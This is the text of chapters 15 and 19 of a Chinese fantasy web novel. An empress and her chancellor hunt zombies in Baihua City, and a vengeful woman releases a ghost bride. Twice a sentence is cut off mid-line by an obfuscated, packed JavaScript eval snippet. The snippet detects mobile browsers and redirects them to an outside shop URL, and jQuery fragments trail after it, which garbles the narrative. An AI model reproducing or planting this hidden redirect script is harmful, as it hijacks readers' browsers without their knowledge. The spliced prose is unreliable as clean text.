《和偏执中书he了》 15. 第 15 章 莲九是被饿醒的。 她揉了揉眼爬起来,身上还能试出几分肿痛,但已经没了早上的浑身不适。 有点担忧自己能不能正常……莲九掀开被子往下看。 “醒了就起来吃饭,这才下午三点……”冷淡的声音顿了下,“……别浪。” 莲九迅速盖上被子,耳朵直冒热气。 缩进床角默默穿好衣服,走下床。 莲九湿漉着眼看向从榻上同样站起身的高大男人,墨发束在天师冠中,两条暗色的垂瑛从耳后垂到腰侧,右耳有一点显眼的红痕,他垂头抚了下繁复的法衣,蜂腰猿背,鹤势螂形。 ‘英台不是女儿身,因何耳上有环痕。’ 严铮走到桌前,身后的阳光像给他铺了一层鎏金,他抬眼道:“过来。” ‘我自此不敢看观音。’ “莲九。”严铮皱眉。 莲九回过神,慌张垂下头,不敢再多看男人一眼。半响后,莲九反应过来严铮刚刚是在叫她,立即颠颠的凑上前:“中书,你找我有什么事?” 严铮:“……” 严铮望着自己面前还冒着热气的菜,想问问莲九他能有什么事,她若是故意不想吃饭,他也略懂一点家法。 莲九顺着他的目光,才反应过严铮是在叫她吃饭,不好意思捏了下耳垂,坐到他身边。 晶莹柔润的藕片散发着香甜的气息,莲九小心的夹起一块放进男人碗里,她记得严铮早上好像很喜欢吃这个。 “中书,三郎回来了吗?”莲九道。 严铮嘴角垂了下去,对着碗里的藕片,终是压下气,冷声道:“没有。” 糟了,莲九记得谢琼是早上走的,这个点没回来…… 莲九吃不下去了,她要去找谢琼。 严铮面色不善的摁住想起身的人:“吃完饭,把桌子上的字和符练了。” 莲九在别苑长大,没有人教过她习字读书,成为傀儡皇帝之后,可能是严铮觉得把她这么个文盲很拉低他一派的文化水平,于是每天读书习字就成了莲九的必修课,后来,又加了符篆课。 是的,莲九虽然一个符咒都画不出来,但她确实每天都在上符篆课。一开始是司学院的老师教,后来是严铮亲自教,莲九知道这个行业讲究一点笔墨即成符,世人枉费墨与朱,但也不知道没有天赋可以这么枉费啊! 皇额娘,她从来没有感受到那股自丹田流经全身,最后汇聚于指尖,落到笔墨纸上之气啊,她连丹田在哪都没感受到过哇。 莲九翻着桌子上书,以防上来就气死严铮,她垂头丧气的略过符篆,翻开她比较擅长的科目,策论。 策论的题目只有几个字:‘人与妖’ 莲九愣住了。 怎么会是这个题目? 从五百年前,大妖苏琼为求天命,以生人作祭,死伤百万百姓,逼得几大主城城主和几乎所有莲王室成员同他同归于之尽后,人与妖的关系就彻底崩裂了。 苏琼死后,新上任的城主设置了十三个捉妖世家,损失惨重的莲王室也多了一个钦天监,自此人开始了对妖的赶尽杀绝,到现在为止莲九已经很少能见到妖了。而女主的本家,谢琼的本家,严铮的本家,都是当初的十三家捉妖世家之一。 书里女主和谢琼都延续了捉妖师的精神和血脉,女主极其厌恶妖,谢琼对妖也没有好感,不过严铮……她记得严铮的暗卫中,倒有不少和妖千丝万缕的。 更漏里的流沙静静滑落,莲九收起跑远的思维,挠挠头开始下笔,幸好这大半年她也不是光玩了,否则现在她就等着严铮把她吊起来抽吧。 写完后莲九递到严铮手里。 严铮翻开看了几页后,面色稍霁,他抬手沾满朱砂在上面圈点。 莲九松了口气,这说明她写的还行。 趁着严铮改策论,莲九去旁边描字,写了一行后忍不住道:“中书,咱们去找三郎吧,我害怕他……” “他要是三个僵尸都找不到,他也别单独会试了。”严铮头也不抬的道。 他既然给谢琼开了时间上的闸门,内容上自然就会相应难一些。 余光瞥了眼在那无意识草书,神游天外的人,他冰冷道:“你最好看一眼你写的帖子,要是过会儿背不出来……” 不用他说完,莲九的手和屁股就隐隐作痛。 她垂下头老老实实的开始从头写。 ‘僵尸,怨而不散,身而不朽。始脸色青紫,全身僵直为紫僵。三年后,全身转白,毛发同样,化为白僵,白僵惧光,怕水,恐家畜鸡狗……’ 莲九停下笔,这竟是篇关于僵尸习性的帖子,字迹还是严铮亲自写的,莲九一愣,急忙坐下开始认真看。 越看心越慌,越看手越凉,因为城主它从一出生起就是个百年老僵啊! 莲九算了算,从城主的等级到僵尸的最高等级犼,一共只有五级。 “中书,你能打过犼吗?”莲九皱眉看着这句‘犼能口吐烟火与龙相斗’的字问道。 严铮:“……莲九,你是觉得我能喷火吗?” 莲九推算了一下,根据严铮的话可以得出,能喷火就能打得过犼,神能喷火,所以神能打得过犼,但众多周知,严铮又等于神,由此严铮能打过犼。莲九放下了心。 虽然现在已经能打得过最高等级的犼了,但是外面的百姓还是打不过,莲九觉得还是得赶紧找到那三个僵尸:“中书,咱还是去找僵尸吧。” 被她再三催促的严铮撂下笔不悦道:“莲九,你最好不是为了逃符篆课。” 对着瞬间心虚下去的人,严铮伸出手沉声道:“握住。” 掌心坚硬而宽厚,不复他年少时的温润柔软,莲九垂着眼眸不知所措的轻轻抓着严铮的手指。 “抓紧些。”严铮语气生硬道。 莲九顿了一下,小心的挪了下步又拽住了他的袖子,严铮忍无可忍,揽住人的肩膀,意念一动。 眼前的东西瞬间扭曲成线,耳边灌进大量的说话声与尖叫声,莲九整个人像被挤压在缝里又像被水冲了下去。 莲九捂住胃,有点快了,她想吐。 终于在莲九要吐严铮身上的时候,脚踩上了实地,莲九晃晃晕乎乎的脑子,幸好,再晚一步她就要被剁成馅了。 嘈杂叫卖声涌进耳中,莲九抬起头看向不远处的集市上,人群攒动,在杀鸡的,有吃馄饨的,有招揽生意的,烟火气浩浩汤汤劈头盖脸的扑面而来。 “你凭什么不让我们卖东西!”一道中气十足的声音在身后大喊道。 莲九愤怒的看过去,想看看是什么样的恶霸不让人自由贸易,结果看到了谢琼和男女主。 女主额上挂着汗珠,艰难解释道:“不是不让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125910|196069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们卖,大爷是这几天晚上有邪祟出没……” “我不管你们什么邪什么祟,我就要卖东西!” 南宫厌忍无可忍,一条碧绿的小蛇察觉到他的情绪爬到他肩头,嘶嘶的往外愤怒的吐着信子:“老东西,你是听不懂人话吗?!” “你还敢拿蛇吓我!”大爷唾液横飞指着脖子道,“来,你往这咬,往这咬,我今天要是有个什么事,我就告到城主府。你给我收回去!” 南宫厌怒发冲冠,大爷仰天长啸,中间夹着狼狈的谢琼正在右手拦一个左手摁一个。 莲九撸起袖子就要去帮谢琼。 大爷见南宫厌不收,顿时愤怒异常,越过谢琼上手就要给蛇揪下来。 小蛇整个蛇都跳了起来,匆匆缩到南宫厌脖子后,黑豆大小的眼一时分不清它和对面的谁才是蛇。 莲九沉默的放下了袖子,收回了想过去的脚,对不起三郎,不是不帮你,是大爷太猛了。 “小九?” 少年身上印着脚印,脸上挂着糖霜,头上袖上还插着好几根五颜六色的鸡毛,抬头诧异的看着两步外的人。 莲九看着谢琼,谢琼看着莲九。 半响后,谢琼无奈道:“小九,你想笑就笑吧。” “哈哈哈哈哈哈哈……”努力控制表情的莲九再也忍不住,捂着肚子笑了好久。 “三郎你们怎么会在这,你们不是找僵尸去了吗?” “一言难尽。”谢琼摁了摁额角,头疼道,“我们早上找到墓的时候,坟包上已经破了个大洞,里面的东西已经不在了,之后我们回城四处寻找也一无所获,不得不通知丁监正,让他赶紧戒严全城,告诉全城百姓闭门锁户。” 旁边的黛瑶痛苦道:“就是还是有很多不听的,比如……” 比如面前非要在这条路摆摊的大爷大娘们。 百花城地处偏僻,又是大妖建城,没有捉妖世家愿意镇守,所以当地的百姓向来不把鬼神放在心上,根本不知道僵尸的可怕之处。 僵尸昼伏夜出,喜食血肉,除了它力大无穷刀枪不入之外,最要命的是它的尸毒会传染,被它咬过或者挠过的人如果不能立即处理,就会一传十,十传百,到时候百花城会怎么样莲九想都不敢想。 昏黄的金光只剩最后一点悬在天空。 莲九急了,上前挤进他们的队伍去劝大爷大娘,只是她进去还没站稳,就被大爷大娘一脚踹了出来。 严铮揪住差点滚在地上的莲九,看着她屁股上的硕大脚印,寒了脸。 冰冷的声线自城池上空突然响起:“城中今日闭门锁户,小农商者补三倍之利,不从者就地格杀。” 最后一个字沉甸甸的落下,没有人怀疑是不是在吓唬他们。 因为一道符令从严铮手中飞射而去,瞬间变成两道,两道继而生成三道,随后无穷无尽的黄色符纸铺天盖地的落下,盖住了整个百花城…… 一生二,二生三,三生万物,是严铮的中书令。 无数的黄符在空中飞舞。 谢琼抿了抿唇,黛瑶和南宫厌也停下了手,一言不发的仰头看着这强大的法术。 大爷不再说话,从黄符的缝隙中看了眼严铮,二话不说推着糖葫芦车就走了。 捂着屁股,被黄符刮的脸疼的莲九:“……” 您老还挺会看人的…… 19. 第 19 章 第三次踏进孙府后,莲九已经麻木了,她半抱着已经卷到她身上的妖,目视着前方拎着心脏的女人。 血珠落到她的脚底,就像一条遍布荆棘的不归路。 女人走到房门前,顿了好久,突然想起什么似的,将鲜血淋漓的手掌藏到背后,她理了理身上的褶皱,抬起手就像要见一个多年未见的老朋友一样,轻轻的拍了下房门:“秀秀,我来看你了,还带了你想要的东西。” 莲九有种意料之内的惊讶感。 意料之内的是断月剪是给女鬼准备的。女鬼要断月剪做什么也不难想,没有任何一个地缚灵不想摆脱控制,和孙府的联系正是让它困在这里的原因,断月剪能斩断世间一切恩怨,也能斩断这种联系。 但让莲九惊讶的是,她以为城主夫人与女鬼只是强迫服从和被服从的关系,就像被迫拿着阴牌的莲九,但看城主夫人的模样……这两个人仿佛相识很年了。 “这么多次,你从来没有出来见过我。”城主夫人似哭似笑道,“你是不是还在怪我,怪我那天没能带你走……” 莲九,系统:???? 莲九顶着满头问号,回忆起幻境中要带秀秀走的是谁后……一时间整个人都木了…… 莲九和系统的下巴掉在地上,震惊到磕巴:“你……你,王,王二狗……” “是王莲蓉。”女人面无表情道。 她用的土话,读起来王莲蓉的发音仿佛和王二狗一样。 对着高挑但确确实实浑身上下都是女性特征的人,莲九脑子都冒烟了,她指指女人,又指指门里,乱七八糟道:“你们,你们……” “我们都是女人?”王莲蓉道。 莲九讷讷点头。 “我也想当男人,谁不想当男人,成亲前能做父母的珍宝,成亲后还能得到一个奴婢。”王莲蓉古怪的笑了一声,“可我是女人,所以我要五岁站在锅台上烧火做饭,七岁送弟弟上完私塾,在家里喂猪养羊,十一岁去冬天的河边洗全家的衣服,洗到双手溃烂流脓,十五岁开始嫁人,嫁人还不行……” “要嫁鬼,要被自己的爹娘像卖猪狗一样卖去配阴婚,好给弟弟盖房子。” “你知道吗?在秀秀被配阴婚前,我们已经约好了,只要还能朝夕相伴,嫁给同一个人吃苦受累也没关系……”她笑着,一行浑浊的泪混着鲜红的胭脂划破清秀的面容,像一生流不尽的血泪,“可百花城连这种希望都不肯给我们……” “于是我杀了城主,杀了绣娘,杀了所有跟断月剪许愿的人。”女人的面容开始变得狰狞又扭曲,“他们的七情六欲被断月剪断,三魂七魄逃不出体内,死后只能被封在身体里变成僵尸,我把它们放在人群中,百花城不是喜欢阴婚吗?好,那我就把所有人都杀了,死了……他们不就能配他们喜欢的阴婚了吗哈哈……” 鲜血不断的从手腕中流逝,莲九望着仰天大笑的人,一句话也说不出来,袖中的阴牌上还刻着上面歪歪扭扭的‘爱人’,莲九浑身如同被浸在冬天的河水里,又如同被绣花针扎进唇舌满嘴都是血。 缠在手臂上的尾巴尖无力垂落,跌进黄泥土中。 莲九眨眨干涩的眼眶,垂下头将妖的蛇尾捞起来:“我把断月剪和你的心上人带回来了,你……该应约了。” 手中的阴牌渗出猩红色的血液,尖锐的唢呐凭空而起,伴随着一声‘吱呀’,房间门朝里打开了。 一顶大红色的花轿立在房间中心,轿帘朝两边拉开,里面端坐着一个人,脚跟脚尖颠倒,大红色的盖头盖住半个身子,两支带着玉镯的青白手腕交叠放在小腹前。 黛瑶看着它身边的森森阴气,叹了口气道:“她成鬼王了。” 轿中人动了下头‘看向’莲九。 莲九眨了下眼,再睁开的一瞬,大红色的鸳鸯花轿已经立在了他们三步之处,莲九瞬间冒了一头冷汗。 在场的人如临大敌,唯有对面之人苍白的脸上浮起一抹病态的微笑,王莲蓉眉开眼笑的上前抱住了厉鬼,怀中是冰冷阴森的嫁衣,她蹭了蹭上面的花纹笑笑:“秀秀,好久不见。” 活人的气味,让漆黑的指甲如刀锋一般伸出手心。 “它成了厉鬼,已经没有人的七情六欲了。”黛瑶冷静道,“你……” 她想说你不要助纣为虐,可谁是纣,谁又是虐? 捉妖师能平息得了兴风作浪的妖邪,却平息不了刻骨的仇恨。 厉鬼身边的人就好像没有听到,她依旧温柔的看着怀中的故人,对莲九道:“让那把剪刀剪断秀秀身上的线。” 轿中的厉鬼像是听懂了这句话,它缓缓抬起手臂,一条凝实的黑色锁链从它手腕蔓延至看不到的地方。 “不能剪!”黛瑶喝道。 鬼王心怀深仇大恨,一旦它不再作为地缚灵受到限制,到时候会发生什么可想而知。 “百花城里有害人的人,也有其他人,害人的人该死,但其他人呢,他们或许是加害的旁观者,但罪不至死,一旦你们做下滔天孽事,你们这辈子都进不了轮回了!”黛瑶急道,“回头吧,你们现在回头一切都还……” 她没有说完,莲九身旁的一道影子以极快的速度冲上去。 “咔嚓……” 锁链断成了两截。 “……来得及。”黛瑶愣愣的补充完。 所有人都呆住了。 “生前如此,死后何必再入人间。”红月嗤道,“好姑娘,去吧,去做你想做的事,你……自由了。” 冲天的阴气从厉鬼身上拔地而起,四周的风开始急速的旋转,卷起无数枯枝败叶。大红色的鸳鸯盖头上晕出两圈漆黑的水痕,正沿着绸缎不住往下流。 女鬼伸长锋利的长指,带着无穷的愤怒抓向虚空,顿时响起几声凄厉的男女惨叫。 它扯下两条胳膊扔在地上,一条肥胖浮肿,一条干瘪细小。 其中一条莲九认了出来,是女鬼那个死鬼丈夫的。 汗水顺着额角滑落,眼前黑白交织,大量的失血带走了身上的体温,莲九伏跪着直打哆嗦。她摸了摸怀中妖青白发暗的脸,冰凉刺骨,乌长墨胸口已经看不到起伏了。 “系统,还有几秒?”莲九撑在地上,艰难的喘了口气,“我和他都要不行了……” “快了,快了……”007盯着面板上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152944|196069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷却的时间,紧张的声音都在颤抖。 “5,4,3,2……宿主,接着!” 随着系统惊喜的大喊,一个冰凉的硬物出现在手心。 莲九摇摇晃晃的站起来,握住手心的东西毫不犹豫的怼上身边的人。 王莲蓉不屑冷笑,手无缚鸡之力,也敢以卵击石? 她一边懒散出手,一边收紧手心准备捏碎心脏。 一道拇指粗细的闪电滑过天空,周围乌云纷纷避散,王莲蓉眼皮一跳,反射性往旁边一退,惊雷打在地上,土石飞溅,王莲蓉望着那一小撮顶多能劈死蚂蚁的焦黑土壤抚了下衣袖,笑死,早知道不躲了。 被看不起的闪电从地上爬起来拐了个弯儿…… 心脏被不知哪突然飞出来的鸟撞落,王莲蓉浑身焦黑,慢慢吐了口烟雾:?这对吗?? “叮——山无棱天地合,乃敢与君绝,‘劈你劈到天涯海角’已完成任务,如果满意,欢迎给887号五星好评吆~~”俏皮可爱的声音说完,莲九就看到她百分之八的生命值被一张黑色的大嘴咬了一口,随后变成了猩红色的百分之五。 后脑传来一阵刺痛。 “百分之五已经达到了生命值的警惕线,宿主不能再往下掉了。” 脑海中的声音虚弱无力,莲九顾不得疼痛:“007,你怎么了?!” 系统焉焉道:“俺不中了,操控外头的东西有点费能量,宿主,俺要沉睡几个月,等醒来……俺想吃排骨zzZ…” 声音越来越小,最后的一个字说完,规律的呼噜声从脑海中响起。 莲九听见系统还能吃得下饭,心口稍安。 天空像压在人的脸上,黑云中时不时有哀嚎的阴魂钻出来,奔着地面而去。 百花城已经沦为了一座鬼城,红月看着这样的盛景心口痛快不少,它向来讨厌邪不压正这个词,这次终于是它们赢了,不枉它舍了半身修为,放鬼王出世。 “你那条要断的线本尊给你续上了……”红月对着身边躺着大喘气的少女扬起恶劣又残忍的笑,“不用谢……陛下。” 莲九累到睁不开眼,只动了下手指:“你怎么知道我是谁的?” 红褐的锈迹侵蚀上红月的身躯,陶土从神像身上不断碎裂脱落。 红月道:“有个人给本尊算过,紫薇之身,是本尊的大劫。” 在它看到莲九的九条红线时,它就知道它过不去这道劫了。 “所以……你要我的命骨是为了报答那个人?” “你很聪明陛下。”红月赞叹了一声,“我没有那么大的野心,要你的命骨没有用,不过陛下可以猜猜……” 它凑到君王的耳边,低低道:“……是谁有这样的野心想要你的命骨?” 她不知道她的命骨有什么用,但如果跟野心挂钩…… “奉中书之命前来恭送陛下殡天。”蚯蚓精的话在耳边突然响起。 莲九打了个哆嗦,身侧的手掌忍不住抓了两下,却只握住了一把冷硬的碎石。 在意识撑不住滑进深渊的时候,她听到了最后一句话:“我送了您一个大礼……再见了,陛下……”